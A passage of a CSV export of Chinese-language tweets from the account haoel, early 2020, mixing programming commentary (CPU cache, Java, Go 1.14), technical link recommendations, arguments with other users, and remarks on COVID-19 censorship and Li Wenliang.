我的题目是数英文单词数……,,https://twitter.com/haoel/status/1238336570442133504\n4239,1238336312379240449,2020-03-13 05:29:18+00:00,0,0,0,,@LokiSharp @DavidYo80731803 免费换的，买了Apple Carr,,https://twitter.com/haoel/status/1238336312379240449\n4240,1238093894039945216,2020-03-12 13:26:01+00:00,0,0,1,,@connnnng @songma 其实，你要是想要更有趣的话，你就应该进来开个场外盘口，邀请我跟楼主都可以放一点在里面……😋,,https://twitter.com/haoel/status/1238093894039945216\n4241,1238089656270381056,2020-03-12 13:09:11+00:00,0,0,1,,@connnnng @songma 我作为监督和管理方不收手续费就好了，还来我这理财薅羊毛，想什么呢？,,https://twitter.com/haoel/status/1238089656270381056\n4242,1238082393342263298,2020-03-12 12:40:19+00:00,0,0,1,,@songma 全心全意为了你……😂,,https://twitter.com/haoel/status/1238082393342263298\n4243,1238082010708496384,2020-03-12 12:38:48+00:00,0,0,1,,@DavidYo80731803 放包里被挤压压坏了……,,https://twitter.com/haoel/status/1238082010708496384\n4244,1238081720387121152,2020-03-12 12:37:39+00:00,1,0,1,,@songma 我觉的，你还先打钱过来，做到了我再退你，这样会你更容易做到……🤣😜,,https://twitter.com/haoel/status/1238081720387121152\n4245,1238037127188770817,2020-03-12 09:40:27+00:00,29,0,10,,上次换MacBook Pro的屏，苹果“贪”了我的贴画，这回再贴一批…… https://t.co/v0gcmngNW7,,https://twitter.com/haoel/status/1238037127188770817\n4246,1238034203612078080,2020-03-12 09:28:50+00:00,72,14,5,,\"“44CK5Lq654mp44CL77ya5Y+R5ZOo5a2Q55qE5Lq6”\n\n- C++: https://t.co/wKKKkWjd67\n- Go: https://t.co/WBgiLtuex8\n- Javascript: https://t.co/4fdltybbFt\n- Java: https://t.co/GxClATo47f\n- Python: https://t.co/oSp0adHpcG\n- PHP: https://t.co/hCGWUA2wCo\n- Rust: https://t.co/egvDjOGVeY\",\"[TextLink(text='code.sololearn.com/cUwo1QGZzFgm', url='https://code.sololearn.com/cUwo1QGZzFgm', tcourl='https://t.co/wKKKkWjd67', indices=(51, 74)), TextLink(text='play.golang.org/p/HWNuRVl6qpv', url='https://play.golang.org/p/HWNuRVl6qpv', tcourl='https://t.co/WBgiLtuex8', indices=(81, 104)), TextLink(text='jsbin.com/soqaxuj/edit?h…', url='https://jsbin.com/soqaxuj/edit?html,output', tcourl='https://t.co/4fdltybbFt', indices=(119, 142)), TextLink(text='repl.it/@HaoChen9/Meas…', url='https://repl.it/@HaoChen9/MeaslyExaltedTriggers', tcourl='https://t.co/GxClATo47f', indices=(151, 174)), TextLink(text='onlinegdb.com/H1m_B4vSL', url='https://onlinegdb.com/H1m_B4vSL', tcourl='https://t.co/oSp0adHpcG', indices=(185, 208)), TextLink(text='tehplayground.com/PM5qDiF9Hew7Au…', url='https://www.tehplayground.com/PM5qDiF9Hew7Au9E', tcourl='https://t.co/hCGWUA2wCo', indices=(216, 239)), TextLink(text='play.rust-lang.org/?version=stabl…', url='https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=5a578eed437a32022459705142a42bf9', tcourl='https://t.co/egvDjOGVeY', indices=(248, 271))]\",https://twitter.com/haoel/status/1238034203612078080\n4247,1237789375708016647,2020-03-11 17:15:58+00:00,31,10,1,,javascript的版本：https://t.co/4fdltybbFt,\"[TextLink(text='jsbin.com/soqaxuj/edit?h…', url='https://jsbin.com/soqaxuj/edit?html,output', tcourl='https://t.co/4fdltybbFt', indices=(14, 37))]\",https://twitter.com/haoel/status/1237789375708016647\n4248,1237789169654480897,2020-03-11 17:15:09+00:00,0,0,0,,@menduo js的版本 https://t.co/4fdltybbFt,\"[TextLink(text='jsbin.com/soqaxuj/edit?h…', url='https://jsbin.com/soqaxuj/edit?html,output', tcourl='https://t.co/4fdltybbFt', indices=(14, 37))]\",https://twitter.com/haoel/status/1237789169654480897\n4249,1237783915282092033,2020-03-11 16:54:16+00:00,1,0,1,,@noyle_LiuYu 有数字的讨论就有意思了，因为有模型了。不妨再想大一些，如果送货的时间变短，这意味的吞吐量就可以变大，最后一公里要的人就不要这么多，那么快递费用是否可以有明显的减少呢？（也许不行，因为廉价劳动力）另外，小哥一个人扛不动100件快递，应该是要分批次多次往返回才能完成全部分派。,,https://twitter.com/haoel/status/1237783915282092033\n4250,1237779455952580608,2020-03-11 16:36:33+00:00,151,48,10,,看到某篇全网封杀的文章“44CK5Lq654mp44CL77ya5Y+R5ZOo5a2Q55qE5Lq6”的各种版本，感觉怎么能少了base64版本呢……https://t.co/eZr7LjnbbC,\"[TextLink(text='play.golang.org/p/Qqa4xA_1Jn0', url='https://play.golang.org/p/Qqa4xA_1Jn0', tcourl='https://t.co/eZr7LjnbbC', indices=(77, 100))]\",https://twitter.com/haoel/status/1237779455952580608\n4251,1237761361309888512,2020-03-11 15:24:39+00:00,0,0,0,,@lidaobing 也许这个答案是对的，但是，我还是要说，不妨独立思考一下，自己画个图，做个模型，可以大致得到答案。,,https://twitter.com/haoel/status/1237761361309888512\n4252,1237756360122490880,2020-03-11 15:04:47+00:00,0,0,0,,@lidaobing 小学生的数学很难吗？,,https://twitter.com/haoel/status/1237756360122490880\n4253,1237723582093914114,2020-03-11 12:54:32+00:00,6,1,10,,这个贴有很多回复都觉得这样的方式没有提高效率，然而看了一下他们说的理由，完全没有看到用数据来说话， 所以，我假设他们不会计算。我给点提示，我在的这个小区，像京东或顺丰这样的大公司，一天怎么也要有300+快递（一个快递公司一个片区正常情况下一天1.5k-2k件）一个小哥一天能送100-150件左右…,,https://twitter.com/haoel/status/1237723582093914114\n4254,1237617041785249792,2020-03-11 05:51:11+00:00,0,0,1,,@mranti @MinakoOikawa 果然很近！,,https://twitter.com/haoel/status/1237617041785249792\n4255,1237541403770535937,2020-03-11 00:50:37+00:00,7,0,3,,@mranti @MinakoOikawa 这么近？,,https://twitter.com/haoel/status/1237541403770535937\n4256,1237387537213059073,2020-03-10 14:39:13+00:00,240,37,30,,以前进小区挨家挨户送快递，单进程轮询模型，现在在小区外集中分拣，notify+broker模型，效率提高了…… https://t.co/ng4nNuSRDq,,https://twitter.com/haoel/status/1237387537213059073\n4257,1237382748014178306,2020-03-10 14:20:11+00:00,79,36,3,,《敲诈勒索与正当行权》跟三聚氰氨奶粉有关的法律维权的一个事，新浪微博全删光了，在Y站和 B站上到各找到一个，做个记录。 https://t.co/pFlgVe95h8 https://t.co/n0kjifxf9t,\"[TextLink(text='youtube.com/watch?v=8h12rH…', url='https://www.youtube.com/watch?v=8h12rHMRFLo', tcourl='https://t.co/pFlgVe95h8', indices=(60, 83)), TextLink(text='bilibili.com/video/av948745…', url='https://www.bilibili.com/video/av94874521/', tcourl='https://t.co/n0kjifxf9t', indices=(84, 107))]\",https://twitter.com/haoel/status/1237382748014178306\n4258,1237381894401953792,2020-03-10 14:16:47+00:00,0,0,0,,@xicilion 多长时间？,,https://twitter.com/haoel/status/1237381894401953792\n4259,1237179453597315075,2020-03-10 00:52:22+00:00,83,17,37,,这就是老年群里传的东西了，明摆着是骗子，但在长辈群里怎么劝说都不行，拉都拉不回来。于是，我在思考两个问题，1）如果这些老人没有出生在中国，会不会好些？还是他们也会信别？2）这些东西，怎么保证你老了不会信？3）微信公众号现在就是另外一个百度，无论对年青人还是老年人，不是吗？ https://t.co/emOuFHOk2T,,https://twitter.com/haoel/status/1237179453597315075\n4260,1236872948738191360,2020-03-09 04:34:25+00:00,100,20,5,,喜感十足啊……,,https://twitter.com/haoel/status/1236872948738191360\n4261,1236871733073723392,2020-03-09 04:29:35+00:00,27,13,0,,看到了个大昆虫……,,https://twitter.com/haoel/status/1236871733073723392\n4262,1236601600027709441,2020-03-08 10:36:11+00:00,60,28,5,,那声Chair叫得是苦口婆心啊……,,https://twitter.com/haoel/status/1236601600027709441\n4263,1235801657620873216,2020-03-06 05:37:29+00:00,4,0,0,,@czyswez 多教他们逻辑,,https://twitter.com/haoel/status/1235801657620873216\n4264,1235745850099249153,2020-03-06 01:55:44+00:00,144,17,16,,我们家孩子在网上看一些学习博主用的软件，下载了个叫Timing的App，还加了个四年级的500人的大群。一群四年级的小学生整的跟老年群一样的，早上7点问早安，然后各种鸡汤分享，学习打卡……你别说，这种主动学习的气氛还不错…… https://t.co/IJig2zzdUR,,https://twitter.com/haoel/status/1235745850099249153\n4265,1235730817826951168,2020-03-06 00:56:00+00:00,86,29,12,,好帅,,https://twitter.com/haoel/status/1235730817826951168\n4266,1235478978829287424,2020-03-05 08:15:17+00:00,185,20,14,,想起好多年前刚入行时，在AIX上用没有高亮的vi写C语言时，有一天，出现一个编译错误，怎么都找不到，然后通过“二分取中”快速定位了问题，原来是要做个除法，而除数是个指针，x=1/*p; 于是，除号和指针取址就成为了一个注释 “/*”  ……,,https://twitter.com/haoel/status/1235478978829287424\n4267,1234753805117345792,2020-03-03 08:13:42+00:00,129,30,1,,\"关于CPU Cache优化，JVM/GC的Java同样少不了，狗下\"\"CPU cache in Java\"\"就能找到很多，比如：https://t.co/P4RjRLiFHF 和 https://t.co/R6oVEyMqCq 都有，而著名的Disruptor框架 https://t.co/rDUH07uwyG  里就有一篇cpu cache line padding，再上github搜下这关键词就知道了 https://t.co/Ze45IQRknB\",\"[TextLink(text='stardog.com/blog/writing-c…', url='https://www.stardog.com/blog/writing-cache-friendly-code/', tcourl='https://t.co/P4RjRLiFHF', indices=(62, 85)), TextLink(text='java-performance.com', url='http://java-performance.com/', tcourl='https://t.co/R6oVEyMqCq', indices=(88, 111)), TextLink(text='github.com/LMAX-Exchange/…', url='https://github.com/LMAX-Exchange/disruptor/wiki/Blogs-And-Articles', tcourl='https://t.co/rDUH07uwyG', indices=(131, 154)), TextLink(text='github.com/search?l=Java&…', url='https://github.com/search?l=Java&p=45&q=%22cache+line+padding%22&type=Code', tcourl='https://t.co/Ze45IQRknB', indices=(203, 226))]\",https://twitter.com/haoel/status/1234753805117345792\n4268,1234741867243163648,2020-03-03 07:26:16+00:00,1,0,1,,@NalaGinrut @tobeadeadlion 有勇气评论别人，但是没有勇气面对自己的错误！有勇气嘲讽，但是没有勇气通过讨论技术说服别人……呵呵。,,https://twitter.com/haoel/status/1234741867243163648\n4269,1234741186390196225,2020-03-03 07:23:33+00:00,196,16,43,,周末写篇CPU缓存优化，没想到还整出争议了。有个粉丝比较多的还有点名气的开源技术人说JVM、GC、编译器优化和动态语言会屏蔽掉这些事。这个说法是相当错误的，看他粉丝多，于是我专门截图回复了下，希望把被误导的人拉回来，然后他就嘲讽开了。有勇气乱评论，却不讲清技术细节，而面对批评只会嘲讽了…,,https://twitter.com/haoel/status/1234741186390196225\n4270,1234734254644318209,2020-03-03 06:56:01+00:00,1,0,0,,@NalaGinrut @tobeadeadlion 老实说，要不是看你粉丝多都不会理你，因为你最初的评论几个观点严重误导大家，挺不好的。说JVM、GC或解释性的不需要考虑，这些不适用，其实都错了，还找业务场景说事。后面你还说“打脸”，然后还打标签 ，那我只能说你外行了，因为只有不懂技术的人才扯别的……你做过开源软件，但别误导大家……,,https://twitter.com/haoel/status/1234734254644318209\n4271,1234728430077300738,2020-03-03 06:32:52+00:00,0,0,0,,@NalaGinrut @tobeadeadlion 你觉得JVM或GC会隔离了，编译器和JVM会帮你优化这些CPU Cache的东西，而我告诉你，你完全不懂。因为你不懂得JVM、GC和编译器在优化什么，所以才会说出来这样很外行的话……然后还说要打脸，自都不愿google一下吗？,,https://twitter.com/haoel/status/1234728430077300738\n4272,1234694520769376257,2020-03-03 04:18:07+00:00,1,0,0,,@NalaGinrut @tobeadeadlion 你哪怕只要拿出这两只中的一只上Google 搜一下 CPU Cache in Java 或 in Python，你就马上会觉得自己脸被自己自己抽了。,,https://twitter.com/haoel/status/1234694520769376257\n4273,1234655335534579714,2020-03-03 01:42:25+00:00,2,0,0,,@gongbaodd 好吧，我还认真了。以后随便杠😅,,https://twitter.com/haoel/status/1234655335534579714\n4274,1234651551341219840,2020-03-03 01:27:23+00:00,1,0,1,,@gongbaodd 你杠之前你也要查一查GPU有没有L1/L2 Cache（如果你读过我的文章，如果你还会思考，你就会觉得GPU不可能直接操作主存的），不然你这种杠法么，只能是无脑杠了,,https://twitter.com/haoel/status/1234651551341219840\n4275,1234438393288749057,2020-03-02 11:20:22+00:00,3,0,2,,@zszhere 2003年写的文章了……,,https://twitter.com/haoel/status/1234438393288749057\n4276,1234371364305260545,2020-03-02 06:54:01+00:00,513,80,80,,真正的Java程序员都会配两个超宽屏（32:9）显示器，一个横着放，一个竖着放，这样你就可以不用滚动屏幕把Java的目录结构、类名和异常调用栈看完整了…… https://t.co/gNlxAVZlOq,,https://twitter.com/haoel/status/1234371364305260545\n4277,1234147252739772416,2020-03-01 16:03:29+00:00,137,18,19,,针对这条回复，想多唠叨几句。1）所有的程序都是要用CPU来跑的，都是一样的问题，2）编译器和JVM的优化是语言层面上的优化，不是数据上的，3）说写业务代码不需要了解这些的，基本上就像说，非程序员也不太需要了解二进制一样……自己把自己“墙”在了业务程序员这边了，只能祝good luck了…… https://t.co/R6tEIFZI9Y,,https://twitter.com/haoel/status/1234147252739772416\n4278,1234144791903924225,2020-03-01 15:53:42+00:00,0,0,0,,@NalaGinrut 所有的语言都要用CPU来跑啊……仔细看看我的文章和我的回复吧。,,https://twitter.com/haoel/status/1234144791903924225\n4279,1234143278959714304,2020-03-01 15:47:41+00:00,3,0,3,,@NalaGinrut 看到你的留言，很明显就是不懂，我想我应该补充几个Java 和Scala的示例……不过，正准备写时，想想还是算了，夏虫不可语冰，井蛙不可语海，时空局限的人，补充再多也没用……,,https://twitter.com/haoel/status/1234143278959714304\n4280,1234131926270611457,2020-03-01 15:02:34+00:00,1,0,1,,@quantumdancing 不是用不到，而是你从来没想着要用……,,https://twitter.com/haoel/status/1234131926270611457\n4281,1234086904515055617,2020-03-01 12:03:40+00:00,441,161,8,,新写一篇跟CPU Cache相关文章《与程序员相关的CPU缓存知识》，希望这篇文章能够通俗易懂地把CPU Cache 相关的东西讲清楚，并可以让大家以后在编程中能有所注意。https://t.co/XRtIiDbppB,\"[TextLink(text='coolshell.cn/articles/20793…', url='https://coolshell.cn/articles/20793.html', tcourl='https://t.co/XRtIiDbppB', indices=(86, 109))]\",https://twitter.com/haoel/status/1234086904515055617\n4282,1233585777679822849,2020-02-29 02:52:22+00:00,22,0,1,,@zuola 估计你很长时间没写程序了……,,https://twitter.com/haoel/status/1233585777679822849\n4283,1233370938709659648,2020-02-28 12:38:41+00:00,383,98,61,,很多人已经忘了吧…… https://t.co/2SeVDK29Fi,,https://twitter.com/haoel/status/1233370938709659648\n4284,1233353422507610112,2020-02-28 11:29:05+00:00,1101,443,7,,Google的这份教程序员写技术文档的课程很不错，同时也可以学习英文，另外，相同的表达方式同样适用于中文…… https://t.co/XE3w58XbCt,\"[TextLink(text='developers.google.com/tech-writing', url='https://developers.google.com/tech-writing', tcourl='https://t.co/XE3w58XbCt', indices=(55, 78))]\",https://twitter.com/haoel/status/1233353422507610112\n4285,1232682295305228288,2020-02-26 15:02:15+00:00,1,0,1,,@yaogangqiang @webdev2424 操作系统的基础知识啊,,https://twitter.com/haoel/status/1232682295305228288\n4286,1232681815627841537,2020-02-26 15:00:21+00:00,102,34,4,,\"Java 的一个坑 removeAll() 是O(n^2)复杂度。Java 15 才Fix 了\nhttps://t.co/qGTUyj4kRb\",\"[TextLink(text='stackoverflow.com/questions/2867…', url='https://stackoverflow.com/questions/28671903/the-hashsett-removeall-method-is-surprisingly-slow', tcourl='https://t.co/qGTUyj4kRb', indices=(48, 71))]\",https://twitter.com/haoel/status/1232681815627841537\n4287,1232673435190345728,2020-02-26 14:27:03+00:00,147,30,9,,Go 1.14发布了，有个新的功能叫异步抢占，可以强行抢无系统调用的长（死）循环的goroutine了(如图一代码所示)这主要通过操作系统的signal 中断实现，占用了SIGURG信号，感觉有点粗暴了，看了发布文档(图二)果然提到系统调用要处理EINTR错误了……咋说呢，感觉为了杀条蛇，放出条龙来了…… https://t.co/9TE6MbXIEG,,https://twitter.com/haoel/status/1232673435190345728\n4288,1232605549172154368,2020-02-26 09:57:18+00:00,1,1,1,,@wsygc @Larry_LiDev 我觉得应该不行吧（对于那些死板的监控部门，他们就是要看到你在明显的位置加上）。我也收到短信，我的https://t.co/VQAL5HczZX都加上了。,\"[TextLink(text='coolshell.cn', url='http://coolshell.cn', tcourl='https://t.co/VQAL5HczZX', indices=(68, 91))]\",https://twitter.com/haoel/status/1232605549172154368\n4289,1232135333417873408,2020-02-25 02:48:50+00:00,173,84,9,,王跃文15年前有篇《中国天天感恩节》https://t.co/2tmXOAjxan  “老百姓的一切远在祖先的祖先那里就被人没收了，现在人家高兴了就给你一点儿，否则就不给，说不定还会把给了你的又收回去，而你却不知那被收了去的原本就属于你，也因此不懂得生气；不知道现在获得的原本就是你自己的，便感恩不尽”……,\"[TextLink(text='kanunu8.com/book3/7265/157…', url='https://www.kanunu8.com/book3/7265/157611.html', tcourl='https://t.co/2tmXOAjxan', indices=(18, 41))]\",https://twitter.com/haoel/status/1232135333417873408\n4290,1231417229633183747,2020-02-23 03:15:20+00:00,5,0,0,,@linglingfa 欢迎加入40俱乐部,,https://twitter.com/haoel/status/1231417229633183747\n4291,1231111026906501120,2020-02-22 06:58:36+00:00,28,0,14,,买了30G+1000分钟的套餐，却天天用WiFi…… https://t.co/dz8Cz3XgLX,,https://twitter.com/haoel/status/1231111026906501120\n4292,1230510844154241024,2020-02-20 15:13:41+00:00,126,14,11,,要解决问题，首先要找到正确的人…… https://t.co/A1k9jiVJ4R,,https://twitter.com/haoel/status/1230510844154241024\n4293,1230464145268494336,2020-02-20 12:08:07+00:00,272,60,13,,GDBFrontend， 用GDB调试C/C++代码的时候，可以把指针图示出来，看上去挺cool的。 https://t.co/KaL4D13gdq https://t.co/4LM3qT6Jfp,\"[TextLink(text='github.com/rohanrhu/gdb-f…', url='https://github.com/rohanrhu/gdb-frontend', tcourl='https://t.co/KaL4D13gdq', indices=(51, 74))]\",https://twitter.com/haoel/status/1230464145268494336\n4294,1230457559498125312,2020-02-20 11:41:57+00:00,108,22,6,,\"@cloudwu 如果要面对圈外人士，应该用《编程实战从入门到精通》\n如果要打造爆款的话，应该用《程序员年薪百万之道》\n如果要上微信公众号，应该用《全世界程序员疯传的书，看完后我震惊了！》\n如果要上微博的话，应该用《抵制美帝！今天我们都是程序员！！》\",,https://twitter.com/haoel/status/1230457559498125312\n4295,1230082976983072768,2020-02-19 10:53:30+00:00,4,0,0,,@PierreDeWulf Thanks for your excellent blog！👍🏻,,https://twitter.com/haoel/status/1230082976983072768\n4296,1229404703152230402,2020-02-17 13:58:17+00:00,2,0,1,,@feelinglucky 什么惊喜？,,https://twitter.com/haoel/status/1229404703152230402\n4297,1229403798889648132,2020-02-17 13:54:41+00:00,99,4,36,,收家的时候找到一台10多年前的Thinkpad X61，2G内存，120G硬盘，原装的XP已经启动不了了，电池也嗝屁了。安了个Ubuntu 18.04，也是慢的不行，整个lubuntu跑跑还凑合，经典的1024*768分辨率，看着像正方形…… https://t.co/wmofgakrOD,,https://twitter.com/haoel/status/1229403798889648132\n4298,1228712310513926144,2020-02-15 16:06:57+00:00,148,49,0,,\"想了解内存访问性能的，可以读一下这个篇文章\n\nhttps://t.co/3NeT2hjpBS\",\"[TextLink(text='forrestthewoods.com/blog/memory-ba…', url='https://www.forrestthewoods.com/blog/memory-bandwidth-napkin-math/', tcourl='https://t.co/3NeT2hjpBS', indices=(23, 46))]\",https://twitter.com/haoel/status/1228712310513926144\n4299,1228709200672387073,2020-02-15 15:54:36+00:00,367,129,1,,推荐阅读AWS的这篇分布式系统的文章https://t.co/pwt4Wb8Od9,\"[TextLink(text='aws.amazon.com/cn/builders-li…', url='https://aws.amazon.com/cn/builders-library/challenges-with-distributed-systems/', tcourl='https://t.co/pwt4Wb8Od9', indices=(18, 41))]\",https://twitter.com/haoel/status/1228709200672387073\n4300,1228705358593449986,2020-02-15 15:39:20+00:00,77,20,1,,\"这个Quad Sort有点意思啊，少比较一次，比Quick Sort快……\n\nhttps://t.co/MyWElvQpva\",\"[TextLink(text='github.com/scandum/quadso…', url='https://github.com/scandum/quadsort/blob/master/README.md', tcourl='https://t.co/MyWElvQpva', indices=(39, 62))]\",https://twitter.com/haoel/status/1228705358593449986\n4301,1228701954454388741,2020-02-15 15:25:48+00:00,1,0,1,,@shell909090 @PeppperPepper 那应该直接说，不在我的方向上。说“沒有时间”的意思一般是主观想学，客观没时间,,https://twitter.com/haoel/status/1228701954454388741\n4302,1228686145988378628,2020-02-15 14:22:59+00:00,3125,1184,140,,这段话写的挺好。 https://t.co/AQmtkFyREA,,https://twitter.com/haoel/status/1228686145988378628\n4303,1228578617535287296,2020-02-15 07:15:42+00:00,653,147,25,,我从业这20多年来，像“等用到再学”、“学了不用就会忘”、“算法无用”、“底层用不到”、“学得面广也就越平庸”……还有“没精力”、“没时间”，“工作忙”……这样的观点和借口20年来听一代又一代入行的人一遍又一遍的说……嗯，每个人都喜欢在一些自己做不到的事上找理由，这种能力不教就会……,,https://twitter.com/haoel/status/1228578617535287296\n4304,1228344094465769479,2020-02-14 15:43:48+00:00,5,0,0,,@kevinzhow 喜结连理，恭喜恭喜,,https://twitter.com/haoel/status/1228344094465769479\n4305,1228227458974932992,2020-02-14 08:00:20+00:00,1,0,0,,@llk2020 @blacktulip 所以，这也就可以理解为什么“标题党”会很有市场了,,https://twitter.com/haoel/status/1228227458974932992\n4306,1228205083331923968,2020-02-14 06:31:25+00:00,499,187,59,,他们看来全面屏蔽李文亮了，中午的时候，新浪微博客服跟我说，我的一些微博也屏蔽（只有自己可见了），共性是有李文亮。同时，我发现我换成李文亮的头像也被删除了…… https://t.co/RM3NH5dpaj,,https://twitter.com/haoel/status/1228205083331923968\n4307,1228121583350353920,2020-02-14 00:59:37+00:00,0,0,1,,@jolestar 不需要啊,,https://twitter.com/haoel/status/1228121583350353920\n4308,1227967285517668352,2020-02-13 14:46:30+00:00,5,2,1,,我这个推文下的绝大多数评论，基本上是没有看视频就开始发表言论，并下结论了，呵呵,,https://twitter.com/haoel/status/1227967285517668352\n4309,1227936166667669511,2020-02-13 12:42:50+00:00,0,0,0,,@JHWviuDZH8bcvuM 你完全没Get到，你应该先看一遍视频,,https://twitter.com/haoel/status/1227936166667669511\n4310,1227935562323001344,2020-02-13 12:40:26+00:00,6,1,0,,@breaver1 你要仔细看一下视频你就知道一个旋律的不同调也是违反版权的……,,https://twitter.com/haoel/status/1227935562323001344\n4311,1227933336586219520,2020-02-13 12:31:35+00:00,435,148,37,,一个程序员+音乐家把所有的音乐旋律暴力跑完了，C调的12个8分音符，即8^12=687亿旋律，6天跑完，然后注册版权（最后开放在 https://t.co/Hy2nKIJLVn 网站）。他们还讨论了，如果音乐只是一个数学的排列组合，作曲家只不过是对其中的某个排列组合声明了版权，是不是有点过份了…https://t.co/dtxyZbehxv,\"[TextLink(text='allthemusic.info', url='http://allthemusic.info', tcourl='https://t.co/Hy2nKIJLVn', indices=(65, 88)), TextLink(text='youtube.com/watch?v=sfXn_e…', url='https://www.youtube.com/watch?v=sfXn_ecH5Rw', tcourl='https://t.co/dtxyZbehxv', indices=(148, 171))]\",https://twitter.com/haoel/status/1227933336586219520\n4312,1227804103427801088,2020-02-13 03:58:04+00:00,203,29,60,,新浪微博主动打电话给我说，由于你发布敏感信息，你已被禁言，禁多长时间不知道。我最新发的微博也就是下面这比了……这是第二次禁言了，第一次禁言是转发了一个别人发的淘宝卖清朝辫子假发图片…… https://t.co/78aiOmfclw,,https://twitter.com/haoel/status/1227804103427801088\n4313,1227173931645198337,2020-02-11 10:13:59+00:00,18,4,2,,\"漏了一个关键的\n\n十堰市委書記暗訪疫情防控被攔\nhttps://t.co/syE6ACJSIu\",\"[TextLink(text='youtube.com/watch?v=AWbtMH…', url='https://www.youtube.com/watch?v=AWbtMHZe0c4', tcourl='https://t.co/syE6ACJSIu', indices=(24, 47))]\",https://twitter.com/haoel/status/1227173931645198337\n4314,1226834468129792002,2020-02-10 11:45:05+00:00,350,180,8,,\"武汉肺炎中几个值得记录视频（欢迎补充）\n\nCCTV 8名造谣者被查处\nhttps://t.co/BYxWFvwknR\n廣州花市開鑼 民眾不怕肺炎：信政府！年年有今日！\nhttps://t.co/daBBJ2StDZ\n高福院士喷帝国理工的预测模型\nhttps://t.co/ByuTg6nDnS\n武汉疾控专家李刚“可防可控”\nhttps://t.co/HjoiJMrD3x\",\"[TextLink(text='youtube.com/watch?v=aG94aW…', url='https://www.youtube.com/watch?v=aG94aWaHSjI', tcourl='https://t.co/BYxWFvwknR', indices=(35, 58)), TextLink(text='youtube.com/watch?v=ACwLJ_…', url='https://www.youtube.com/watch?v=ACwLJ_NduOg&feature=youtu.be&t=137', tcourl='https://t.co/daBBJ2StDZ', indices=(84, 107)), TextLink(text='youtube.com/watch?v=r51YtY…', url='https://www.youtube.com/watch?v=r51YtYfhyuI', tcourl='https://t.co/ByuTg6nDnS', indices=(123, 146)), TextLink(text='youtube.com/watch?v=dQ-SKB…', url='https://www.youtube.com/watch?v=dQ-SKBtJv80', tcourl='https://t.co/HjoiJMrD3x', indices=(162, 185))]\",https://twitter.com/haoel/status/1226834468129792002\n4315,1226814457935826944,2020-02-10 10:25:34+00:00,14,0,2,,@tinyfool 所以我们都叫你“泰尼佛”啊……,,https://twitter.com/haoel/status/1226814457935826944\n4316,1226454915389673472,2020-02-09 10:36:52+00:00,129,59,9,,2015年建成的全球最大的疫情网格直报系统，100%县级以上疾病预防控制机构覆盖率，平均报告时间4个小时…… 技术上我相信是做得到的，问题只会出在非技术的环节上了…… https://t.co/dgpYbeZpHO https://t.co/uDV8qCOdgh,\"[TextLink(text='cac.gov.cn/2015-04/11/c_1…', url='http://www.cac.gov.cn/2015-04/11/c_1114990317.htm', tcourl='https://t.co/dgpYbeZpHO', indices=(84, 107))]\",https://twitter.com/haoel/status/1226454915389673472\n4317,1226326040236048384,2020-02-09 02:04:46+00:00,25,5,6,,@marchliu @aaaaron7 如果PHP不好，你不要埋怨它，你要成为一个PHP程序员，去改善它，如果你觉的PHP程序员没素质，觉得他们愚昧无知，就从你开始学习并改变身边的PHP程序员开始，而不是一味的抱怨……,,https://twitter.com/haoel/status/1226326040236048384\n4318,1226195750616358912,2020-02-08 17:27:03+00:00,12,0,2,,@xicilion Twitter 也不是不法之地！,,https://twitter.com/haoel/status/1226195750616358912\n4319,1225828052472516609,2020-02-07 17:05:57+00:00,681,232,10,,在祭奠李文亮医生的花中有一张卡片写到：“长夜将至，我从今开始守望，至死方休 ——羞愧者们”，署名真是直指人心…… https://t.co/iXm8m13Cj2,,https://twitter.com/haoel/status/1225828052472516609\n4320,1225821993355767809,2020-02-07 16:41:52+00:00,233,45,6,,李文亮医生与非典时的蒋彦永医生可能没法比较，蒋先生是冒着巨大的风险为民众争取权益直至今天。而李文亮看上去就更像我们每一个普通人，他的离世之所以让我们很悲痛，是因为他像征着我们每个人的权利，当他离开的时候，让我们感到我们的知情权和发声权也跟着一起不复存在……,,https://twitter.com/haoel/status/1225821993355767809\n4321,1225818652420661248,2020-02-07 16:28:36+00:00,423,79,36,,在我的理解范畴的远程工作，是一种先进工作模式的象征，是团队自驱自管理的体现，开源软件就是活生生的例子。但我觉在中国，一定会把这种工作模式玩成low到不行的远程监控……,,https://twitter.com/haoel/status/1225818652420661248\n4322,1225817033574473733,2020-02-07 16:22:10+00:00,33,5,2,,@nishuang 钉钉这种反人类的软件，唯一的用处就是鉴定什么是坏公司,,https://twitter.com/haoel/status/1225817033574473733\n4323,1225478231081541633,2020-02-06 17:55:53+00:00,240,58,5,,\"有的人活着，他已经死了；\n有的人死了，他还活着。\n有的人，骑在人民头上，\n有的人，俯下身子给人民当牛马。\n…… ……\n只要春风吹到的地方，到处是青青的野草。\n…… ……\n他活着为了多数人更好地活的人，\n群众把他抬举得很高，很高。\",,https://twitter.com/haoel/status/1225478231081541633\n4324,1225355242008481792,2020-02-06 09:47:10+00:00,1471,612,84,,\"武汉疫情以来各种“骚操作”\n1/1 抓了8个医生\n1/15 武汉卫健委坚称没有“人传人”\n1/19 举办“万家宴”\n1/21 湖北省团拜会\n1/26 省长口罩数量说不清\n1/30 湖北红十字会分配物资\n1/31 人民日报带货双黄连\n2/1 公务车领口罩\n2/1 黄冈卫健委主任一问三不知\n2/4 十堰书记摆拍演戏\n2/6 大理征用口罩\n……\",,https://twitter.com/haoel/status/1225355242008481792\n4325,1224992553562300417,2020-02-05 09:45:58+00:00,167,60,1,,\"通过.git目录学习git\n\n- https://t.co/pBe2jE7QXM\n- https://t.co/w8kV4oAocV\n- https://t.co/GqnF5FnkY2\",\"[TextLink(text='daolf.com/posts/git-seri…', url='https://www.daolf.com/posts/git-series-part-1/', tcourl='https://t.co/pBe2jE7QXM', indices=(17, 40)), TextLink(text='daolf.com/posts/git-seri…', url='https://www.daolf.com/posts/git-series-part-2/', tcourl='https://t.co/w8kV4oAocV', indices=(43, 66)), TextLink(text='daolf.com/posts/git-seri…', url='https://www.daolf.com/posts/git-series-part-3/', tcourl='https://t.co/GqnF5FnkY2', indices=(69, 92))]\",https://twitter.com/haoel/status/1224992553562300417\n4326,1224940217141874688,2020-02-05 06:18:00+00:00,16,0,4,,@lyricwai 问了一下孩子，发现真是抄的，自己都会上微博了,,https://twitter.com/haoel/status/1224940217141874688\n4327,1224908387323789312,2020-02-05 04:11:31+00:00,216,9,21,,家里的小朋友画了幅画，小朋友的脑洞是用各地的食物代表全国各地的人，躺在病床上的应该是热干面吧…… https://t.co/b2wXMdgeix,,https://twitter.com/haoel/status/1224908387323789312\n4328,1224365937937174528,2020-02-03 16:16:01+00:00,145,42,13,,微博这时间线真牛…… 